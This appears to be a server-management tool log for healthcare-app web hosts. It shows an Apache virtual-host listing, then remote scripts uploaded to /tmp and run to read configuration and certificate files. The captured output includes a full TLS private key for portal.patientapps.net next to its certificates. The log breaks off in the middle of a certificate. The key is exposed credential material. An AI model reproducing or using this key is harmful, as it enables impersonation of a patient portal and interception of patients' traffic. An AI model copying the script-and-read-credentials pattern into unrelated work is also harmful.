port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-08 06:00:59:
PUT: /tmp/pkp379137
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_portal_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-08 06:00:59:
chmod 755 /tmp/pkp379137; /tmp/pkp379137; rm /tmp/pkp379137
2025-09-08 06:00:59:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_portal_net.conf 1664
<VirtualHost *:80>
ServerName portal.patientapps.net
ServerAlias live.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/portal_access.log combined
ErrorLog /var/log/apache2/patientapps/portal_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName portal.patientapps.net
ServerAlias live.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/portal_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/portal_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-08 06:00:59:
PUT: /tmp/pkp960821
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-08 06:00:59:
chmod 755 /tmp/pkp960821; /tmp/pkp960821; rm /tmp/pkp960821
2025-09-08 06:00:59:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt 5397
6c:66:1f:b9:d2:f5:04:1c:34:54:fc:a5:d8:7a:e5:f1
-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBvN2MGmu9U6Gzrg40MApIYr5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTA4MDUwMjI3WhcNMjUxMjA3MDUwMjI2WjAhMR8wHQYDVQQD
ExZwb3J0YWwucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEA7K+ewA1jBfEAUKrtaJ9SL8qyRwaffWrG02W4ht2K6tAKmcLLgftU
2M5J6ix6NOGVfFMFU3TVTfGbQEE5x62+DXJPInv8dFnJGwpOwqHy9Nsz4V4ez+rF
FDc/vfIiePu3YUrW4TZjFYnHJNALdEEjqwQ46x4tLuHwoSaXb2yzzCGlSqIc+CZ5
Os399QWJhAGCEsGcGIPMm5c79VyFdaluNQk5tgmpq+LC0IHk1Kb24bOts52vDF0q
MjKe+AGePI8GCLUM/JojbwJ1i6m/oOAFNaGT9hr1aHJjFK8OBvwTC1Xu4aYJSdJQ
ybpCMX/X0LCcSRmTaKqnrg95XxP3VSHeDwIDAQABo4ICPDCCAjgwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBRVbS66t2W3x1k6qc9uWBq4VcYTEDAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CFGxpdmUucGF0aWVu
dGFwcHMubmV0ghZwb3J0YWwucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
MTIyLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB2ABoE/0nQVB1Ar/agw7/x
2MRnL07s7iNAaJhrF0Au3Il9AAABmSfpzCQAAAQDAEcwRQIhAKeeiBB+EQmKFMDi
Y6FWGngYSsI9A1BpINInBwM2IH06AiA+GSnPxwqVAB5PITJ1PQdGmey1S2Mmq/rx
NloIpgqkwwB1AN3cyjSV1+EWBeeVMvrHn/g9HFDf2wA6FBJ2Ciysu8gqAAABmSfp
zC8AAAQDAEYwRAIgcLJqtSY9tFjmzp4o6GJrTbUG3cWkhfaR7YJx/0gVMXICIEmO
O17TAiTMhsKvsWSAaItxtmAVoF1ntpmNXPlm6GyDMA0GCSqGSIb3DQEBCwUAA4IB
AQBecJjWqpMG7M91vgp2CyxIghU9bKEvfOZKT7wtF/BgKj2xi6j0SfA2IQhsPFA7
Iwh9WRS3NtVlWdGl3tGn15c4v6igVI13KQpsfU4Nla+/ElIZj6e1/PtPDWwmlgYN
IQrsiRaorlxRo9Iu38rCfxz75pidNegodAOCqv0UXQ/QXzxQC+AVZ6Ti2BpB4Hbn
a8CMkwMtdrpUydQATRU1MFCtSynIolA/ubdbymKISzulcDz4aSYVVJxdaDT6Bpcv
VcOqVM0YV9nt0J1+uNOOXIkfVKzrkxTkSDmarnsJKZQ/ohIw6JdZCiWCvm5Uz06V
forOehYKuHJ7OcxiFNDz32w0
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDsr57ADWMF8QBQ
qu1on1IvyrJHBp99asbTZbiG3Yrq0AqZwsuB+1TYzknqLHo04ZV8UwVTdNVN8ZtA
QTnHrb4Nck8ie/x0WckbCk7CofL02zPhXh7P6sUUNz+98iJ4+7dhStbhNmMVicck
0At0QSOrBDjrHi0u4fChJpdvbLPMIaVKohz4Jnk6zf31BYmEAYISwZwYg8yblzv1
XIV1qW41CTm2Camr4sLQgeTUpvbhs62zna8MXSoyMp74AZ48jwYItQz8miNvAnWL
qb+g4AU1oZP2GvVocmMUrw4G/BMLVe7hpglJ0lDJukIxf9fQsJxJGZNoqqeuD3lf
E/dVId4PAgMBAAECggEBALOoMuYwwyN1ZfnVZNPva2EfiOdk3ZdDf5xjMAgfDh1i
wUkplXQapLLVE0IPdMvDF8cA9Z/9pRO++0twtz0cYpCuXecdGenvZTmDP3l5mIPI
B79fxB+qYuIPdfDmZMhUuUO+nRDiSZ/Fr0YALVGXSE29rL67byyRECgitPw9FNUy
lwETQoGnNbhOVtis+K7eZSGRogWwKvIj79rvkpg65e6NrqJ00qmRFmX+gbyE7z4U
pFc6ZE/TwtjfWposz9SVAd40OJ806HISfYwAct6yQzQnFhqHBp8+tzCmkAI/W1Te
6J3GX/zYqmUWMUxWfza03Vd3b9EZbEgQW0Lyb6i1OfECgYEA/Qz6e7tc/Y3U4XNp
cUFA2D20dwF7eh1+PqszOLdvZ0wrYVZpwsmfpFHNwLuUwF1hA0Hxe0tPJ7aSoh2h
y6rgxPm4Gp6gkVb9Gr4nCWP8msBCm2vJv424vVEutdoLF5b6fniyFKJK/kPhBHX4
D+Sn2r0GXT09k3p7zBIcKmJ4eysCgYEA73HQkx89Rkgjp1qyD9JoIRGLo6B245TR
hRJBr0MH10pBESfFa/tN+kf28xnz7Ip/toR+VPITlatr2YWkFLh/tcmTkfEN1oWu
LlZrKJwwZxSZ9wTfN6d2dQ21wgxRbFGMJRPE1r0eUwnqil285DWVHJdMx7CCXdXK
T9cKYAIq5q0CgYEA4+8E0N777AgNcOYcXD+CwUUTgP580oouZRSglr3kQw+BI7RK
n4Itoj1tL+XHH179O4nykjRLoGH7wrseOe45eDPXeWLZDxFj+uq9DuBZcKstVAHL
QBfQB/dQM82roBwGllTxU1S8aDuMPBBm2SoFaCpLyUCYbncte6v0Ytk/3PECgYAM
/B0VfWIzR4I3dyGk3gIrmOn7q54G5XEfSEgrmvT35dz1czSvkGdAJVrtAAFMWI5o
dXLsZFxPh4ZHu4mUXhT+5LmN9oaLlaBGfwU8pIuza1iWHruEJx6zZlTu+wAHYby5
3gKUqpjUY/tGGaM+tPErJcFSKu5G7GsWPVEgt71f2QKBgFYotPUc95ixSjCAmV6b
AUjyM1EpH2r+aVBcnkB50J21+rT67VNw4UZVQZ+iLD7HRy6DOd2+Pj/T44wqe7F7
gPnQObEws1VND8Jeu0gEcG2dVVbkIZFWUjqdE+bqDnPiK4xDoP51Cl4M/EbZiHcr
IO63NMeiYtbgbPihqsJp49oT
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-09-10 06:00:01: Establishing a connection
2025-09-10 06:00:01: Establishing a connection
2025-09-10 06:00:01:
PUT: /tmp/pkp355836
#!/bin/bash
if [ -d "/var/www/patientapps_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-10 06:00:02:
chmod 755 /tmp/pkp355836; /tmp/pkp355836; rm /tmp/pkp355836
2025-09-10 06:00:02:
0
2025-09-10 06:00:28: Establishing a connection
2025-09-10 06:00:28:
PUT: /tmp/pkp203496
#!/bin/bash
temp_file=$(mktemp)
TARGET=d18ebcef2c53b2fff4c3f6f80595db99.crt
cat > $temp_file <<'endmsg'
77:51:69:87:ea:14:2b:73:fb:b5:e4:0a:96:0b:29:0d
-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBWqyFhxfj3PqOvp3DpWWLJUhMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTEwMDUwMTU3WhcNMjUxMjA5MDUwMTU2WjAZMRcwFQYDVQQD
Ew5wYXRpZW50YXBwcy5jbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKyrYO1s4Vkskg5YnMFafXLGwowcK5sc6andzBWrmXBb4qoftvr4NigMXQepu+aO
Ss52jBTcqBq/H/qhfDaAM2ery1pdAjo9r1vQzGPJl8JT45QfOATO2lZFb+Ls72eh
ZZCSdHoXshyOu1T5TWT4LDDQEqYyRe9O5zysVBhx/n4EaF9givk65JzplT0beHCp
u3ZNy6kPSjHKhJ+W5HpiwGhof7mUQ2B5EcvTW7X81zTM434GuXXylumuCEsbKxZH
YcgC9M0SxdHNpOltPcaX2wdRH99I4AXJSJ2ttn7dUANpk3RFZPDrJcBxAS1oCpYn
zXARfPhHJIK8VYF/Xa+snicCAwEAAaOCAi8wggIrMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUuBHK5scLmp+OZJTbS4WkkiajmpowHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
